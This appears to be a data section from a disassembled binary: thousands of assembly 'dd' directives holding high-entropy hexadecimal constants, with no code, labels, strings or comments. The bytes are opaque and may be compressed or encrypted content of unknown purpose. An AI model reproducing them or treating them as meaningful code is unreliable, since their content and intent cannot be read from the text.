		dd 868838ADh, 0B956C1BAh, 2713C803h, 0A76BCD5Eh, 0BA40812Eh
		dd 2186467Ch, 390748C2h, 5923BC33h, 6FE3A13Bh, 2FA33C40h
		dd 0A9560702h, 803D1F6Bh, 0AEF7C76Ah, 0B8014700h, 51D3467Bh
		dd 0E63600FAh, 6075BCE4h, 521E183Ch, 6D007178h,	0A4DC76D5h
		dd 797363h, 0FF34DB4Dh,	7BBADE27h, 0CB4048A1h, 0A3C753D0h
		dd 71C33807h, 0BC01293h, 3E08E68h, 53A0450h, 0F89BC17Dh
		dd 7F4966F8h, 0F04A1D2Eh, 35A24400h, 12533DBh, 0A6A88FDEh
		dd 833CB4B1h, 154D8424h, 261B9820h, 21670013h, 0AE243691h
		dd 0F4FF949Bh, 9512667Eh, 68520E6Ah, 4F2517ACh,	4EE15815h
		dd 10852D0Ah, 807F1Bh, 0DE7AC3A8h, 0EA003211h, 59900498h
		dd 625F654Eh, 756D287Ch, 0B2217624h, 10711209h,	928977E4h
		dd 0E446508h, 0D922847Dh, 498E4478h, 8D64BC00h,	0C59DA819h
		dd 75800F1h, 3178FF5Dh,	1401D54Bh, 0BCE628CDh, 3FC470D2h
		dd 86EA01EEh, 61C3E029h, 393C30C1h, 0DC62E727h,	0DF9C0790h
		dd 0CAAD9031h, 0FB0002A8h, 9FA21690h, 0A0CCF3h,	2F8DB9DEh
		dd 6F317C29h, 5156DD2Eh, 0F0102818h, 0E3DF000Fh, 3384DA55h
		dd 2096F9E5h, 0FBD0003Dh, 4DB4880Eh, 9B3102AAh,	0BAF4C185h
		dd 98798AE0h, 0CF95710Fh, 0A0D1AE0Fh, 776BEFEEh, 0AC4101A5h
		dd 12895637h, 0B3D0D89Ah, 5DBA48h, 0F9791020h, 72185B8h
		dd 44406FE8h, 0B05DF034h, 4514362Dh, 0CE442D2h,	0D003B901h
		dd 60807DF2h, 0E42974E0h, 951C678Ch, 2140E81Eh,	0FDAFDA6Dh
		dd 3B7341h, 11643A9Dh, 87C009AAh, 0A12AF300h, 5FF7050Dh
		dd 0B27DCEh, 2E8F5A3Fh,	3C6AEF41h, 0E580C30Fh, 0F5750022h
		dd 890FB2h, 74A46DDAh, 785A26Ah, 722E702Eh, 39C08B1Fh
		dd 9DF32B29h, 0D0D700E4h, 1D6AF93Eh, 3001A5F2h,	3F1995E5h
		dd 5FDC02CAh, 775B1FC8h, 4C82C0A4h, 1AD352B8h, 2038C300h
		dd 0BF8FF964h, 0C22C004Bh, 0C70630D5h, 0CA0044BAh, 6A78A16Ch
		dd 266CFE9h, 351FC4Ch, 0D0802308h, 0D67DDFF0h, 55D78303h
		dd 6BBFDh, 266DED0h, 1F964C8Dh,	225FB100h, 620B4D1Dh, 297001F3h
		dd 5C15CD43h, 401BFDB8h, 0DCC04590h, 5E0066FCh,	17B25F36h
		dd 326D369h, 359EE239h,	0A3F88851h, 890E2DA6h, 0C34859C9h
		dd 0A8CFEAE0h, 0E4B7Bh,	56DA496Dh, 6E63B658h, 0F12F4A00h
		dd 199E2192h, 0F47C005Ah, 44DB3770h, 0A472B48Ch, 0AA7D000h
		dd 4CCEAEBAh, 102E0390h, 849174B6h, 406A4FE1h, 9FB061FAh
		dd 9464DF00h, 86D8C53Bh, 0ABD212F4h, 310B00B7h,	0A17C0BC4h
		dd 3892673Fh, 464200C9h, 23E0A99Dh, 125024F9h, 0DDFE0870h
		dd 360DF283h, 88EF8A2Eh, 3300B9CCh, 0F69E4610h,	5E3E0043h
		dd 0CD357EFEh, 1E046C0Ch, 25B9CAFBh, 12DE9C80h,	0B7A3006Bh
		dd 0E56E1D51h, 5F00F6D8h, 0C3259430h, 971F07h, 0F254AFABh
		dd 0D07343BFh, 0F1E4D350h, 24047808h, 5DF41F3Ah, 0FF9379h
		dd 0C297D2EEh, 827ACE54h, 0D8E12F03h, 0FB8D0392h, 98B9800Eh
		dd 471C00FEh, 78095015h, 0CC0A4428h, 0EF852F68h, 7714A805h
		dd 99FBE40Ah, 9956901h,	802101C2h, 0F4407ECCh, 0BDB00096h
		dd 21DE2B39h, 22005C32h, 7E4B8BE3h, 80F530h, 375EF258h
		dd 0C78F1364h, 33075700h, 0C57A51B6h, 0D90907BFh, 0C03FFA9Fh
		dd 28BA6C94h, 47CC9D00h, 0B0647BC1h, 1FDA0F4Fh,	0AEA02DD2h
		dd 0A5D8AA1Ch, 490ABD00h, 6326C8CDh, 0D5460166h, 5CCA4CD0h
		dd 0C245E462h, 75F1D300h, 379CF6A4h, 0CF4FFh, 2CAF98A6h
		dd 0E66254C3h, 91241BF6h, 0C00010F2h, 0FAE46607h, 97365873h
		dd 26064A07h, 0C05DB5C6h, 0BBA262EAh, 0EA00DD7Fh, 6CFB7D91h
		dd 0B2D93Ah, 26EF1097h,	60E61FA2h, 0F5009F70h, 0C038C696h
		dd 0D8DF9Eh, 14E24FBDh,	8D013A54h, 519B8F1Ch, 267BB547h
		dd 3FCA009Fh, 0EE98E1Dh, 9EADD368h, 623C9840h, 85002667h
		dd 0DB032C6Bh, 925F4C99h, 7FC20FDCh, 96804F51h,	0C00C2AB3h
		dd 0C39E5E07h, 7D7046F4h, 0BC5523h, 0E2F2E143h,	0AAAFA79Bh
		dd 0F510790Eh, 4A24202Fh, 26881156h, 40048A93h,	0E86D2D3Ah
		dd 6408600h, 0A4BF1273h, 71A513AEh, 0AFCD01F9h,	40E43120h
		dd 0FBEA4DF8h, 81365100h, 0CEFF123Bh, 858800ACh, 3940E416h
		dd 0BF00F0E5h, 0EC9104D9h, 9421EFh, 97372475h, 903C1A26h
		dd 4140958h, 9CBAA0AAh,	8A273803h, 0A14667E7h, 0C4601D4Eh
		dd 4500DA19h, 5F7BBC4h,	17E931B0h, 4FB5C7C9h, 0B780C1ACh
		dd 912BA8FEh, 71393CB2h, 22400F3h, 0E4362513h, 75EC0439h
		dd 8014378Dh, 0D6FF97D8h, 30C0AE90h, 3B0BDECDh,	33AB2462h
		dd 24781810h, 6F265AF7h, 0A80718C4h, 0D5C1391Dh, 9AFC38E2h
		dd 0ED0500C5h, 7BC4DA2Ch, 13006367h, 0B6B3FE9h,	7AD553h
		dd 1628E49Eh, 4917AEEBh, 2322760Bh, 30DC000Ah, 1F92C512h
		dd 43FBB175h, 0F4F37A3h, 4B1D93E0h, 5CDCEB00h, 0F5848344h
		dd 7E4800C0h, 953129Ch,	0F4006272h, 0FFC454F2h,	54A4FBCh
		dd 747ED645h, 71B00096h, 0E168110h, 0FD3E221Dh,	0DAFCCAC3h
		dd 3689E887h, 8214006Ah, 57E3C803h, 691F2A26h, 6FD7CE7Bh
		dd 0B3F2880Eh, 0CC021456h, 6107A5BCh, 0F5FCC9FCh, 0D3A91370h
		dd 0FBAF0289h, 4068CC8Eh, 95002B2Eh, 9E0567D4h,	391D8A4Bh
		dd 7E36B3h, 31D311A5h, 0A68E41E5h, 0F703ED0Eh, 0F1B1804Eh
		dd 5892C769h, 0D22E9C3Ch, 9BA60748h, 0BE8D5315h, 0CDFE1905h
		dd 68D0D3CBh, 0EC317F71h, 0C891025Ch, 2421138Dh, 0BD6F1CC0h
		dd 8663413Bh, 7E2DB384h, 0B40F0738h, 50D52E12h,	5140BCFEh
		dd 24AC9D5Dh, 0AA80C402h, 4EB561EEh, 20CC1F06h,	0EDBE4289h
		dd 12C02BA2h, 6000C4E9h, 0B616BD27h, 1349F4EEh,	0B3C1EDFh
		dd 8082CDCCh, 7F604F77h, 64B26AABh, 0BC039173h,	9ADAC6EDh
		dd 8CD5A107h
		dd 2AEB70h, 0CDE1247Eh,	0BFC3514Bh, 6B72F900h, 1B5D3998h
		dd 32BB003Ah, 0E6F581F6h, 6500992Bh, 0CF0CA313h, 2FD6364h
		dd 316C048Eh, 0DC806245h, 0C59C541Eh, 3441F100h, 3F730869h
		dd 10D70355h, 3AAA4C9h,	9BC100FFh, 787DE8EAh, 5EC2E600h
		dd 363BB8CCh, 9EBF00FAh, 273A9F11h, 0B4095B9h, 0A2A521D1h
		dd 4FE22A02h, 0B4A048E9h, 0B9A40B5Ch, 24006B68h, 11548077h
		dd 25A8B02Ch, 61CCC10Eh, 2F18A248h, 79284028h, 7C130080h
		dd 4282F9A9h, 0F0FD5ED0h, 0FB003F7Bh, 0CFF21C85h, 67C5C34Fh
		dd 60D85868h, 61D460Ah,	0F5C7F02h, 0E05F99A1h, 462E020h
		dd 0A3363257h, 4BECA013h, 8D30940Ch, 0A66A95Bh,	0F384DC96h
		dd 1CBB00F4h, 44189888h, 506EEF00h, 54EEDF1h, 8BFF0001h
		dd 72B96820h, 0B2A0A2EBh, 841E7FAFh, 9F00E507h,	4CD91B3Eh
		dd 130B0458h, 0C07BD5E0h, 0B14A1114h, 0C1F04700h, 0AAC33381h
		dd 3156E8B6h, 0FC99F91Ah, 24421C95h, 8318EDDDh,	5E382A0Dh
		dd 0B09210F0h, 2E4C68F0h, 2D7700C3h, 96336CDBh,	2C265CB4h
		dd 431FC26h, 0C069A8C2h, 919F07C2h, 0C0656402h,	6034DB36h
		dd 4C0268h, 890BD3B9h, 0A9818222h, 50A030FBh, 0C480DD06h
		dd 816BAEh, 0EEBC9192h,	4FEF8B4Bh, 7BD0021Fh, 541F1E40h
		dd 18C3932h, 0AFE74DB2h, 0D837F115h, 989421A7h,	61A31607h
		dd 822DD810h, 700DECF5h, 9EFC0972h, 4F00B44Dh, 0E186D50Ah
		dd 0F1B56000h, 0CF0ED842h, 67AF0289h, 16DD4764h, 56B6FFE0h
		dd 537F6500h, 0FA8425DCh, 0DE0500C4h, 41A04BA6h, 8E008671h
		dd 0B1C7D25Ah, 6EA41Ah,	0A740B59h, 0E8F6E454h, 1FAC241Eh
		dd 0BDEA7F87h, 70392EF0h, 2DBF00D2h, 93DBA90h, 1700A9DCh
		dd 559BF3C8h, 0F55662AFh, 1D2306CCh, 40BFBAF4h,	0C54A50Ah
		dd 0C9000B24h, 0C8F73BE8h, 0E13AD2h, 4356C10Eh,	14699C2Ch
		dd 86B3D900h, 0EA8B7691h, 805F03D1h, 0C8BC674Ah, 0FB8D23D8h
		dd 0C53D6B00h, 57931DF8h, 9C200029h, 14B4BAF7h,	96008F89h
		dd 0D8ED131Bh, 5B8A4EEh, 0A202C222h, 694980DAh,	0B500CF97h
		dd 40899D5Bh, 604F2EDDh, 0BE8A10B4h, 5200ED58h,	0DEAE6ECFh
		dd 1C9B76AAh, 4055C080h, 5C48FDF7h, 0A9007FF5h,	6C2D99DAh
		dd 105997h, 8D638F61h, 0EFC86A0Eh, 0A8E05D00h, 81EBE53Eh
		dd 0C5B3043Fh, 808364ADh, 0AF9A2627h, 42B07C00h, 9DD4FB29h
		dd 173A034Fh, 0D2D0F448h, 314B62C0h, 0DE353Ch, 0B10442EDh
		dd 7339AE6Fh, 5D0707C5h, 0A079B590h, 8C74B354h,	0ED8A2300h
		dd 0A3B8D3B2h, 0C6A17E5h, 0E72B00CCh, 0D86BC235h, 0A89CC900h
		dd 0E26F78D3h, 50AA0043h, 76551752h, 84A0F45Eh,	2207FB56h
		dd 5A981662h, 0A648EC80h, 0EE4B580Ch, 5FAAD900h, 288650Eh
		dd 1147D200h, 9B870671h, 0A31F004Ah, 1074A91Ch,	2A00AE37h
		dd 0AFCEB772h, 7DF25CFh, 0D2E28203h, 0E8D3911Ah, 1ED84080h
		dd 7D18F1EEh, 0EB903888h, 0D1BB0ED5h, 1BC05A3Fh, 0A434CC7Bh
		dd 0CEFD3300h, 9B77CA2Bh, 4D10059h, 35E67982h, 1A1E74D7h
		dd 0EE836A62h, 0F0CDC1DEh, 0F43B8A22h, 0BDC407BFh, 806B5998h
		dd 9715EC1Fh, 0CB364600h, 6F3CB1F3h, 8A9E005Ah,	7FFFD6EEh
		dd 99000D38h, 169D1B6Dh, 10AD880h, 6EE1313Fh, 30C5F268h
		dd 0A600141Dh, 0C17BEC46h, 1B51C16h, 0E58C65FDh, 0F44E638Ah
		dd 5D01D6E3h, 0BFBBA7A4h, 22F00530h, 549D0F56h,	2D813194h
		dd 8F3D7E3Eh, 0A1BEF0h,	0DD15B926h, 4F880A81h, 80988542h
		dd 56760598h, 5E00147Ch, 3FE8E4AEh, 1DCECD99h, 80B37F2Dh
		dd 0E3B2EB11h, 0F579D510h, 5637FC00h, 4308E78Dh, 5CB0064h
		dd 45603B2Ch, 0AF0252C1h, 0BB79168Bh, 0F8B04617h, 591A0065h
		dd 105AF3E8h, 6A2C5870h, 99008EE5h, 68E69ED0h, 377E075Dh
		dd 708F36D2h, 8E714DBEh, 535B98A0h, 44481202h, 0C0B17CA6h
		dd 0FB92AA4Eh, 3B4A7020h, 6D00E221h, 7D238A84h,	1912A859h
		dd 7A02E940h, 43FAC5D9h, 396BD064h, 0A5E1000Eh,	424A7218h
		dd 2F002775h, 996769CAh, 2F288191h, 18F06F58h, 0B3B7BF00h
		dd 1CA002F9h, 0CFC100CBh, 0C6ACA44Dh, 0F70010B1h, 16EE3F8Bh
		dd 0B4783Bh, 5CD767D3h,	6F48A19Dh, 0F82AA500h, 575FD493h
		dd 26450F81h, 0AEE035E4h, 549B43A8h, 0C8C37900h, 0E3F091DAh
		dd 1CA5F478h, 42870F83h, 0B7D4970h, 6E811D60h, 8AFBAB00h
		dd 0A3E26004h, 27A79C3h, 8F9890B1h, 0D8485BC0h,	0BA00ACB6h
		dd 12918736h, 829E9Dh, 616C8417h, 55426A6Dh, 4800CEEAh
		dd 1F264C5Dh, 0F08402Dh, 0F39E13E5h, 5C97FEA1h,	961CE4A7h
		dd 0F7EB4D00h, 812307DBh, 958F0268h, 660A1026h,	0E5AEDE60h
		dd 58F66000h, 4DE477DEh, 0C94E0044h, 0F0B80815h, 5E3E80FDh
		dd 8BE10335h, 0D0716E1Eh, 12C2E909h, 0D6C6B0h, 0CFB90738h
		dd 9A0092DDh, 6D3F57EBh, 7574DED0h, 5017282Fh, 96F70083h
		dd 0E971B20Fh, 333B0443h, 6B9D003Bh, 6D744F1Ah,	11F93CC6h
		dd 6288A887h, 1F3870D1h, 0AF6009E1h, 825E3E91h,	9F2E0075h
		dd 337DD9B7h, 0D30015DDh, 22FCD41Ch, 0DBAA7Ah, 3AA32583h
		dd 63F4DAF2h, 0CDBFC902h, 48AB1CD9h, 50E428h, 0CED7CC4Ah
		dd 4D9CB3B0h, 152C0100h, 6C3466BEh, 92FEA5h, 0FE2F04CBh
		dd 4A14DA35h, 6D509100h, 5712F3ACh, 965D0016h, 63C56FBFh
		dd 2060C6A2h, 5C8555B0h, 0AF2E30CBh, 0DF1FED70h, 0B69C1400h
		dd 29F0B4BFh, 60323C7Ah, 0E2349160h, 7E0CA0AFh,	8A25CBFh
		dd 596F3750h, 109E8620h, 863CE342h, 85897600h, 0B7EFABF6h
		dd 57329100h, 4AC572F2h, 59EA0029h, 2BDFCE9Ch, 5E3A96FDh
		dd 16B600B3h, 0DB73A860h, 0F01E7CB9h, 445D5032h, 132F3AB0h
		dd 0B39F318Fh, 3ECBC018h, 80F56D3Dh, 7F906ADFh,	1C8B776h
		dd 0D2F61CAEh, 0ECE5CED3h, 8D006147h, 0E6EE6796h, 7DF7F8h
		dd 0D740076Eh, 0B51BCEEBh, 38AA4F00h, 62AE0115h, 79B400C8h
		dd 65C37E0Fh, 5158523Dh, 1DC4837h, 78F7599Fh, 36202234h
		dd 0FF4E00D2h, 8F4126EAh, 210097DEh, 0C093C29h,	30777h
		dd 38DA1459h, 39E95C20h, 0F1B4E0Fh, 0EECC3A6h, 90E5A0E6h
		dd 0AB5E1F2Ah, 42395F9Fh, 1AB0C701h, 4251E860h,	2F848154h
		dd 249A2515h, 4A578E0h,	928284F8h, 0F5FF0010h, 0AD727FB9h
		dd 62006F29h, 0D4DA9B20h, 34B0E8Ah, 0B87C063Eh,	61D0CBB4h
		dd 4300BF8Ch, 0B1FDFBD7h, 19F6C09h, 0EE5DF024h,	0CC1FA438h
		dd 4D008165h, 641B51F1h, 1C6C94E6h, 7B6F62Dh, 20E75582h
		dd 677E2950h, 18F74C30h, 98D92873h, 3C0603F6h, 0E69A4D7Ah
		dd 0DCA6BEA8h, 96511A00h, 95D54E3Bh, 915A1D1Dh,	224C356h
		dd 2FB8B23Fh, 0B800EB96h, 0FFA74569h, 0A6D903h,	7CC814E4h
		dd 13A0DAE0h, 0B3F7BD00h, 4733F9B9h, 69A2032Ch,	0FB50CC58h
		dd 6405C0EFh, 7A009F30h, 5BBD1C9Ah, 203DB0h, 78C19D46h
		dd 4A06B2D0h, 0AC737A00h, 34657622h, 6E7B003Ch,	0CEE42D96h
		dd 0A03D0597h, 98848317h, 0C84E1B99h, 0A10D7Eh,	0B154D875h
		dd 0E7A959C7h, 15100100h, 93E8EDA7h, 0B8EF0E08h, 0AB803E67h
		dd 6A0C06Ch, 4B3A838h, 6044568Ah, 0E00427C3h, 7F3E2358h
		dd 256A0C17h, 1B29247Fh, 0BCC8C007h, 0E0D0D4F2h, 3A1622h
		dd 7837ADEAh, 42B8ECC2h, 75030492h, 8633F60Eh, 5DB3E05Bh
		dd 0D6E621h, 0F0FCB243h, 810A9114h, 66E9A800h, 38374E1Dh
		dd 0CF7701E5h, 2FB9D309h, 0E86CDC60h, 9324287Ch, 0BB30DCh
		dd 35901B65h, 4E26A0h
		dd 0D407A1C3h, 0B216514Bh, 80219E3Dh, 0E347DF97h, 3081FB25h
		dd 50109AD9h, 0DB009C74h, 0F5CF9D13h, 990B39h, 0FA531C5Fh
		dd 0EC900C06h, 3567E00h, 0D5981093h, 4F302FFh, 0B5E9F6A2h
		dd 46CFF080h, 1B3E1263h, 0BEDC9248h, 0A5F23440h, 303BB9ABh
		dd 266881E6h, 9B00D524h, 201FCFDEh, 39A18973h, 41F1C4Eh
		dd 0F8CBC37Bh, 61E8D6B5h, 0C302715Ah, 2C76B740h, 75FDC04Ah
		dd 0E8D1696h, 853C0052h, 0D718172Ah, 239296Eh, 63BC3BF4h
		dd 2703D08Fh, 0E6100A0h, 0A2703CC4h, 0EC7B436Fh, 143FD900h
		dd 0E655CFE7h, 69C6281Eh, 491910ACh, 0EA5300B7h, 0A1A7AC36h
		dd 3BE0F6DFh, 2900C22Ch, 74D79762h, 5D1928EBh, 51C06854h
		dd 0F7DAFCh, 32D6B402h,	7F3D9DA6h, 6119AEE6h, 0E2297397h
		dd 4661A1C1h, 0F68CE420h, 62093EC3h, 67C6B880h,	4D7FD6D5h
		dd 0E8E25800h, 3D2FAF49h, 0D3FD3DCCh, 89420C00h, 0C88F6020h
		dd 3A1EAA7Ah, 0E969C9Ah, 0D60B1500h, 60B81983h,	667288B5h
		dd 3A19025Dh, 0AB807C52h, 1EFD9BF0h, 0E46A6041h, 64B30854h
		dd 0F80E3281h, 0D6617835h, 257EDE00h, 0C64A04CAh, 8060A63Ah
		dd 77BE8B1Ch, 951A5A00h, 0B4ECB0CCh, 1C4D092Ch,	60203861h
		dd 0FB7ADE65h, 70D5D926h, 47249B00h, 11A27B9h, 0EBF0D4A6h
		dd 808F8860h, 0CFAE1531h, 0FBE740Fh, 857C6B29h,	0D7483C60h
		dd 789173B9h, 1A65C501h, 58C8349Dh, 30530055h, 0E9E7E68Bh
		dd 2048D9F8h, 445000ACh, 94642E0Fh, 9C7900C4h, 8BBAD8B5h
		dd 0E80EEAC9h, 80140933h, 0B6F506CEh, 0AAFB1D39h, 1DD2C0C4h
		dd 219D1D0h, 90013771h,	10A0E5BFh, 5E70DF99h, 4F38069Fh
		dd 10D1F8B1h, 66C9007h,	0EE20BAC0h, 0FF0A598h, 1E490DCEh
		dd 0D0BC4C87h, 5062BB6Bh, 1A00A473h, 0E6CE59E7h, 0FE17858Bh
		dd 0BCB7134Eh, 25140437h, 300B004h, 7EC08300h, 0BA22E7Dh
		dd 5EC401ACh, 69F8713Ah, 946CD8D3h, 48F68870h, 0C98E1500h
		dd 95DDE17Bh, 22BA3D0Bh, 0DAB11980h, 18D89210h,	1EC8A601h
		dd 5B1C9455h, 3D21DCCh,	87C5015Eh, 0C0B42C0Bh, 0CF6167CAh
		dd 8EEED309h, 2B0C2047h, 3BC245h, 29F36A06h, 4348FEA5h
		dd 3C1AFD00h, 85BFF5EFh, 0CDBC3924h, 1410E901h,	30CE2EC3h
		dd 6D002F6Ch, 0B613C58Eh, 1F42B2h, 83EF5B51h, 0A30C4787h
		dd 0B3934D03h, 0E8B9BB56h, 0CBFC3Ah, 0F5BE88CDh, 28CE1D78h
		dd 14EC3706h, 1E107708h, 817D0E95h, 0BF6B635h, 36408092h
		dd 0EF6A0D8Ah, 0C0C700DFh, 0F4BC7701h, 0ACE8BD3Dh, 0F3C96914h
		dd 6C2700DFh, 57306120h, 0CC94D3h, 0D4E20C60h, 0EFEEB690h
		dd 634C2400h, 0E9897F7Ch, 59B857h, 0CD9C8EBAh, 3B2BFE25h
		dd 0F8177D00h, 75B0BE7Ah, 0C6E80347h, 0B10B2C92h, 0AB607480h
		dd 8500A8E0h, 0A0484D34h, 5EC5BFh, 0BDB9FFD9h, 69AF849Bh
		dd 9D584B12h, 0FDE02800h, 3748914h, 67A1131h, 43935544h
		dd 0D0E418E9h, 8800561Bh, 813F4B91h, 22DE09h, 0E08CA080h
		dd 5BBBB289h, 4C0E46E4h, 53C43944h, 5096CC01h, 82005B8h
		dd 0E3D90091h, 0C8450366h, 7412F83Dh, 0F040086Fh, 4E236421h
		dd 27392653h, 0B5FB00BBh, 8612AD9Fh, 261E7D00h,	4C2A7EE6h
		dd 638903FFh, 0F7B50C87h, 0C0C50898h, 9C833500h, 0AE053AEh
		dd 0F81A00EEh, 55680426h, 0F5003D15h, 50AC39ECh, 0F440FB90h
		dd 0DA522E6Eh, 0E59A8024h, 235B4E25h, 5F8C4303h, 0DF9B8682h
		dd 0C746F550h, 20C00BAAh, 8A800F5Eh, 57054D3Dh,	0AE184500h
		dd 0AD6633E5h, 25D400D6h, 69DF8C73h, 0E703A5E0h, 592DD59Ch
		dd 0D7C60023h, 0CE1AF34Ch, 5706D2D6h, 3C778D11h, 0E75F0719h
		dd 0F0910A9Bh, 9679422Ah, 0C61C1BECh, 3B820572h, 68DE7CB0h
		dd 2E03C4Ch, 1C316368h,	0D4E3231Fh, 955CE4F0h, 9E99913Dh
		dd 0E5801BCDh, 8E07E309h, 0C2AC393Fh, 816D7A80h, 4331BCFAh
		dd 0F207F6E6h, 4F2A09B7h, 0D0A49994h, 0B6570035h, 2BFD035Ah
		dd 0FF0414BFh, 6F327929h, 81D9ECA5h, 0D311840h,	2A170496h
		dd 0C5FB931Dh, 2B740792h, 7A0CC015h, 0C812BA3Bh, 0E900EBAEh
		dd 145C692Ah, 28455132h, 9A6825EBh, 5959688Ch, 0B158E900h
		dd 0FF3705A1h, 96CD00B3h, 67A856DFh, 4DB033DBh,	0D0164D1Eh
		dd 0FDFB6680h, 15D46463h, 98DFF39Bh, 1D745C0Dh,	9EA0E050h
		dd 0A461BF79h, 0C8A25E68h, 10416DDDh, 1C44E89Ah, 845E8040h
		dd 1FB99905h, 806158D2h, 0BA91F3DEh, 2F1E1EF0h,	3A8E98B4h
		dd 0BC621DCh, 35C00EE6h, 0CF2E06B5h, 51CDCAC8h,	0B4722400h
		dd 0FD416181h, 77D40904h, 13006D03h, 0B1152632h, 0CF672875h
		dd 847A8431h, 0CB6FD180h, 85C28Fh, 0AA92A6DCh, 9B446741h
		dd 3711C106h, 20C8884Fh, 423A47C7h, 6E40A1h, 0C360FBAFh
		dd 34173930h, 0DE70511Fh, 0BC02E703h, 0C71FE68h, 0A6A029D3h
		dd 0E460C739h, 488AF719h, 45E0069h, 4D83F6EBh, 0B9F6F19Ah
		dd 0A84FF500h, 2A86185Ch, 0C2B4EC28h, 5F146541h, 0C43644A0h
		dd 800407Fh, 7DCB03CAh,	0CF12BEh, 3F6BA0DDh, 0F6C75C25h
		dd 2800B590h, 3258D099h, 1CE42641h, 0F9E931h, 5C6AC02Bh
		dd 0BE00A3CFh, 0F028EE56h, 946796h, 269719Dh, 0FFF6DF1Fh
		dd 0C1D9C930h, 2185AEh,	0F4394186h, 3EA6C264h, 33945CF9h
		dd 0ED04E03h, 800A5AE1h, 0E1DB526h, 0BCDC0BDh, 34155BA0h
		dd 23E2B648h, 60CFF324h, 540E1804h, 3A589F03h, 0CBD2AFC0h
		dd 0D4612860h, 1D1956Eh, 970D7757h, 0F433F67Ah,	0B500DA8Ch
		dd 0DC899D4Fh, 76E25Ah,	3FE99A6Ah, 0BF9F2FF1h, 0CCA4BC31h
		dd 0B560C132h, 48F5008Ah, 122B5CD1h, 5517EA7Ch,	0FD0F694Dh
		dd 896A60E9h, 0C83FDA9h, 8F06AA1Fh, 0F5058250h,	6193AD32h
		dd 1DDB4A80h, 494A3B6Eh, 66458A0Ch, 2E00D279h, 44D91999h
		dd 0F2691032h, 1A59C0A1h, 2CE3DB8Fh, 0B952B003h, 75E2ACh
		dd 855ADD39h, 9DC4B360h, 2F401B00h, 3402BEDEh, 0EC0C1F06h
		dd 85AA40EFh, 226CB943h, 17DDF607h, 0CF8ACFh, 683375FBh
		dd 0BFA23CEDh, 26E01200h, 5AF989C3h, 0B18B1F6h,	0D188EA86h
		dd 0DBBD0304h, 0F4F62F8h, 79DD1AA8h, 0ED779A00h, 65E21D39h
		dd 8D2D0E64h, 3EE7417h,	5CA8B33Fh, 2F7CB3F8h, 0BAC6C101h
		dd 0E89DF7D7h, 1F91F0h,	2B78608Ch, 0D0887F9Fh, 898A7703h
		dd 0A0677413h, 480DC2h,	0EE2082CCh, 0F569E31Dh,	30DE053Ah
		dd 0D4B12141h, 5C8D0082h, 39FBF347h, 9400C1BAh,	1ECB24EAh
		dd 70C7273Eh, 0C3C600F8h, 0FB29680Dh, 400E7949h, 4C740806h
		dd 0C08C0803h, 13046850h, 0FE005649h, 1FC7A684h, 0CA5E9Ah
		dd 28E87D3Dh, 0B4762522h, 0B00D58CCh, 0D10D8C12h, 0A8EE1D82h
		dd 20305812h, 8182D9A8h, 19220600h, 9FAA6B7Ah, 18F110B5h
		dd 682960E3h, 0E90CA9A1h, 96ACA8E3h, 711572D1h,	1E190FCDh
		dd 6640C357h, 7626E739h, 39C098E0h, 0BB79BF2Eh,	1C6A00DEh
		dd 2528877Fh, 4C008C24h, 290734C0h, 3AEA7A4Ah, 98D0774Fh
		dd 106862F3h, 9200A11Bh, 0F2E9E29h, 0FAB4A4D9h,	0A5FCEC60h
		dd 713F813Ch, 14588154h, 0ED989AEBh, 0DB1730h, 630BBF13h
		dd 5F4CC1A6h, 0A7963200h, 992D7C20h, 117101B4h,	91C3F6E2h
		dd 448BCCE6h, 3081E900h, 5E584562h, 7AB00C9h, 0E19502DFh
		dd 88006A4Eh, 0FE072EBh, 1FE884EAh, 40410523h, 6CA006A8h
		dd 8CC3679h, 0EC121F8h,	997141F0h, 26F6D980h, 0B200DA63h
		dd 6A55EBBCh, 1FE773A1h, 0ECD2A5h, 8191DCE9h, 0EA0003E8h
		dd 14E57A4h, 901DF5F3h
		dd 82D6626h, 0BD002150h, 0AC7A4E40h, 49F4CAFh, 0DACC877Dh
		dd 84080028h, 0DEEE2939h, 2FCA0088h, 0B872E4ABh, 5F0E8D0Ch
		dd 0C0B908C0h, 0AB972B21h, 0DE0CB699h, 19F12998h, 4705009Eh
		dd 5D8D9C14h, 0CB3C2B12h, 3D379FA2h, 830238CEh,	77D650E9h
		dd 0D8F9DED0h, 739941F2h, 38CB2600h, 0E1C3B97Fh, 0C8910077h
		dd 3B487EF1h, 756053FBh, 63514639h, 0CA98009Bh,	96E65742h
		dd 0A9000B8Eh, 0BCDC5DA8h, 60D7E4E1h, 15E416Ah,	6B445CFCh
		dd 2EA0FE88h, 6C6FEE6h,	8BD6580h, 20019330h, 0A0DB2Ah
		dd 0CEC59911h, 63D42BDEh, 4E9D300h, 0D19C8B3Bh,	29D900ECh
		dd 56A8E616h, 6D0B3F1Fh, 82B39235h, 0C06E9CB2h,	754655h
		dd 2A3E6A6Fh, 4AE33065h, 53510100h, 1527FAB8h, 4575E7h
		dd 0C71EA429h, 5D189124h, 537AC9FCh, 0C41FFC00h, 9C74C3ACh
		dd 45F4007Fh, 6F73278Fh, 0C03FE89h, 0C32857D3h,	41143B4h
		dd 0C44473B0h, 0D700FF7Ch, 0DF3A012Fh, 0F7753Bh, 630DB89Eh
		dd 0BE3EC322h, 85D22B38h, 5A3D7A0Eh, 6B5DAC00h,	0CF373Bh
		dd 55C998FAh, 1E34A133h, 0DA7E7F07h, 524025B0h,	0FF8163h
		dd 0E7F82C43h, 7BE1E30Eh, 3F3751Fh, 0D1872B00h,	3F9CD2DAh
		dd 0FD80D811h, 0D72880F4h, 0B300F022h, 61E14FD6h, 0F27E89h
		dd 0FF0CBF6Ch, 55A613A8h, 450EEDFAh, 0A0E0CF6Ah, 0D27A2F33h
		dd 5DB100FEh, 4AA65C39h, 0C10084A8h, 4CDF4E46h,	3F4DCB6h
		dd 9AB0C0D0h, 0B88831CDh, 467D20BEh, 3E75ED00h,	92591DFAh
		dd 0B97203E0h, 662E26ADh, 78D0A1E3h, 0CD24916Eh, 0C6004116h
		dd 8AF4E5C4h, 99040036h, 7595A933h, 0B000F935h,	88827815h
		dd 0E701A44h, 45D9FFFDh, 0EC1D6E80h, 4D000AD7h,	5DAA9F50h
		dd 757DB90h, 259720B1h,	854280D2h, 0AE00E87Bh, 0D0C699A5h
		dd 183C5BBDh, 10A6623Fh, 4A005438h, 0BA9116F0h,	0A84E25ABh
		dd 32B6F0h, 0BDF29783h,	2C448CE6h, 76D2003h, 0A8A0F5ADh
		dd 7B1AD0C5h, 0EA870AF7h, 39C8FC06h, 707C4E85h,	95D040B6h
		dd 3E324AF9h, 4D34500h,	0F4330C7Ah, 1870C025h, 5750305Ch
